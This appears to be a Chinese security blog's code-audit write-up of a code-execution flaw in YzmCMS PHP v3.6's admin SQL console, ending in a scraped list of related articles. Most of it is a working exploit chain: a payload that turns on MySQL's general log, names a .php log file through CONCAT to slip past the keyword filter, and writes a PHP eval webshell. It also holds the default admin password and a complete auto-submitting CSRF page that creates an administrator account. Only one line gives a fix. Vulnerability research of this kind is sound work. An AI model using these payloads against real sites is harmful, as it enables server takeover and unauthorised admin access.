【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析
0x00 环境准备
YzmCMS官网:http://www.yzmcms.com/
程序源码下载:http://pan.baidu.com/s/1pKA4u99
测试网站首页:
0x01 代码分析
1、文件位置: /application/admin/controller/sql.class.php第10-42行中:
- public function init() {
- if(isset($_POST['sqlstr'])){
- if(!C('sql_execute')) showmsg('根据系统配置,不允许在线执行SQL命令!', 'stop');
- $sqlstr = MAGIC_QUOTES_GPC ? stripslashes($_POST['sqlstr']) : $_POST['sqlstr'];
- $sqlstr = rtrim(trim($sqlstr), ';');
- $sqls = $_POST['action']=='many' ? explode(';', $sqlstr) : array(0 => $sqlstr);
- $admin = D('admin');
- foreach($sqls as $sql){
- 10. if(stristr($sql, 'outfile')){
- 11. $str = '<span class="c-red">ERROR : 检测到非法字符 “outfile”!</span>';
- 12. break;
- 13. }
- 14. if(stristr($sql, '.php')){
- 15. $str = '<span class="c-red">ERROR : 检测到非法字符 “.php” !</span>';
- 16. break;
- 17. }
- 18. if(preg_match("/^drop(.*)database/i", $sql)){
- 19. $str = '<span class="c-red">ERROR : 不允许删除数据库!</span>';
- 20. break;
- 21. }
- 22. $result = $admin->query($sql);
- 23. if($result){
- 24. $str = '<span style="color:green">OK : 执行成功!</span>';
- 25. if(is_object($result) || is_resource($result)){
- 26. $arr = $admin->fetch_all($result);
- 27. }
- 28. }else{
- 29. $str = '<span class="c-red">ERROR : 执行失败!</span>';
- 30. break;
- 31. }
- 32. }
- 33. }
这段函数中对提交的sql参数进行还原处理,然后进行非法字符检测,检测字符是否存在”oufile”、”.php”,匹配是否有删除数据的操作等。
2、如何绕过这种限制?
首页,outfile被禁止,第一时间想到的就是SQL语句利用日志写入文件,但是写入脚本文件”.php”会被检测到非法字符;然后,尝试MySQL中concat函数来连接字符串,拆分’.php’关键词,如 CONCAT("test.","php");最后构造出可以写入文件,绕过非法字符检测的的SQL语句,从而触发代码执行漏洞,控制服务器。
Payload:
- show variables like '%general%'; #查看配置
- set global general_log = on; #开启general log模式
- set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php");
- select '<?php eval($_POST[cmd]);?>'; #写入shell
0x02 漏洞利用
A、如何获取后台管理员权限
有两种思路:
思路A:通过默认信息,弱口令登录
默认后台路径:http://127.0.0.1/admin/index/login.html
管理员默认账号密码均为:yzmcms
思路B:通过CSRF漏洞,诱导管理员访问,自动在后台添加管理员账号。
CSRF漏洞利用代码如下:
- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
- <html>
- <head>
- <title>OWASP CRSFTester Demonstration</title>
- </head>
- <body onload="javascript:fireForms()">
- <script language="JavaScript">
- var pauses = new Array( "68" );
- 10.
11. function pausecomp(millis)
12. {
- 13. var date = new Date();
- 14. var curDate = null;
- 15.
- 16. do { curDate = new Date(); }
- 17. while(curDate-date < millis);
18. }
- 19.
20. function fireForms()
21. {
- 22. var count = 1;
- 23. var i=0;
- 24.
- 25. for(i=0; i<count; i++)
- 26. {
- 27. document.forms[i].submit();
- 28.
- 29. pausecomp(pauses[i]);
- 30. }
31. }
- 32.
33. </script>
34. <H2>OWASP CRSFTester Demonstration</H2>
35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html">
36. <input type="hidden" name="adminname" value="admin"/>
37. <input type="hidden" name="password" value="abc123!"/>
38. <input type="hidden" name="password2" value="abc123!"/>
39. <input type="hidden" name="email" value=""/>
40. <input type="hidden" name="realname" value=""/>
41. <input type="hidden" name="roleid" value="1"/>
42. <input type="hidden" name="dosubmit" value="1"/>
43. </form>
44. </body>
45. </html>
B、代码执行漏洞利用
Payload:
- show variables like '%general%'; #查看配置
- set global general_log = on; #开启general log模式
- set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php");
- select '<?php eval($_POST[cmd]);?>'; #写入shell
1、 执行sql语句,查看mysql日志配置情况
2、 根据日志文件位置或者默认站点路径来推测站点目录,可用load_file()函数来测试,确认站点目录位置。或者通过phpinfo()等信息收集获取站点目录。
3、 分别执行下列sql语句,将脚本代码写入文件:
set global general_log = on;
set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php"); select '<?php eval($_POST[cmd]);?>';
4、 提交参数,执行脚本代码:
5、 通过菜刀连接,获取服务器控制权限:
0x03 修复建议
1、Mysql数据库降权处理,让入侵者无法做高权限下可做的事!
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。
【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析的更多相关文章
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...
- 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析
0x00 环境准备 OTCMS官网:http://otcms.com 网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31] 程序源码下载:http://d.otcms.c ...
- 【代码审计】大米CMS_V5.5.3 代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】XYHCMS V3.5代码执行漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】QYKCMS_v4.3.2 后台down.php页面代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】DouPHP_v1.3代码执行漏洞分析
0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...
- 【代码审计】iZhanCMS_v2.1 代码执行漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
随机推荐
- spring cloud: 使用consul来替换eureka
eureka官方已经正式宣布:自2.0起不再维护该项目,并在github 项目wiki上放出了一段吓唬人的话: 大意就是:从2.x起,官方不会继续开发了,如果需要使用2.x,风险自负.但其实我觉得问题 ...
- Java.lang.Character类
Character将一个char基本数据类型封装在类中.这个类中只有一char类型的变量.Character是基于unicode码进行的Character所有的方法,都是围绕着这个char基本数据类型 ...
- Go语言之高级篇beego框架之配置beego环境
1.配置beego环境 进入部署目录中 软件部署目录: 把要部署的软件代码,放在src目录下面. 启动项目
- pytorch中检测分割模型中图像预处理探究
Object Detection and Classification using R-CNNs 目标检测:数据增强(Numpy+Pytorch) - 主要探究检测分割模型数据增强操作有哪些? - 检 ...
- tensorflow之数据读取探究(2)
tensorflow之tfrecord数据读取 Tensorflow关于TFRecord格式文件的处理.模型的训练的架构为: 1.获取文件列表.创建文件队列:http://blog.csdn.net/ ...
- mipmap和drawable文件夹的区别
在Android上创建工程,会默认创建mipmap文件夹.之前在Eclipse上创建的是drawable的文件夹.那么这两个有什么区别呢? 问题: I'm working with android s ...
- OpenLayers典型部分概述
中文学习:http://www.openlayers.cn/portal.php 原文地址:https://www.jianshu.com/p/e693711a7008 一 OpenLayers核心职 ...
- CountDownLatch、CyclicBarrier及Semaphore的用法示例
一.参考blog https://www.cnblogs.com/dolphin0520/p/3920397.html 二.CountDownLatch 个人把它类比于一个持有计数的闸门,每到达这个闸 ...
- SNF快速开发平台3.0之BS页面展示和九大优点-部分页面显示效果-Asp.net+MVC4.0+WebAPI+EasyUI+Knockout
一)经过多年的实践不断优化.精心维护.运行稳定.功能完善: 能经得起不同实施策略下客户的折腾,能满足各种情况下客户的复杂需求. 二)编码实现简单易懂.符合设计模式等理念: 上手快,见效快.方便维护,能 ...
- flutter 环境安装以及配置
首先需要下载flutter源码,以下是github地址: https://github.com/flutter/flutter 然后需要安装git环境吧,下图红框可以自行下载安装 接下来需要安装flu ...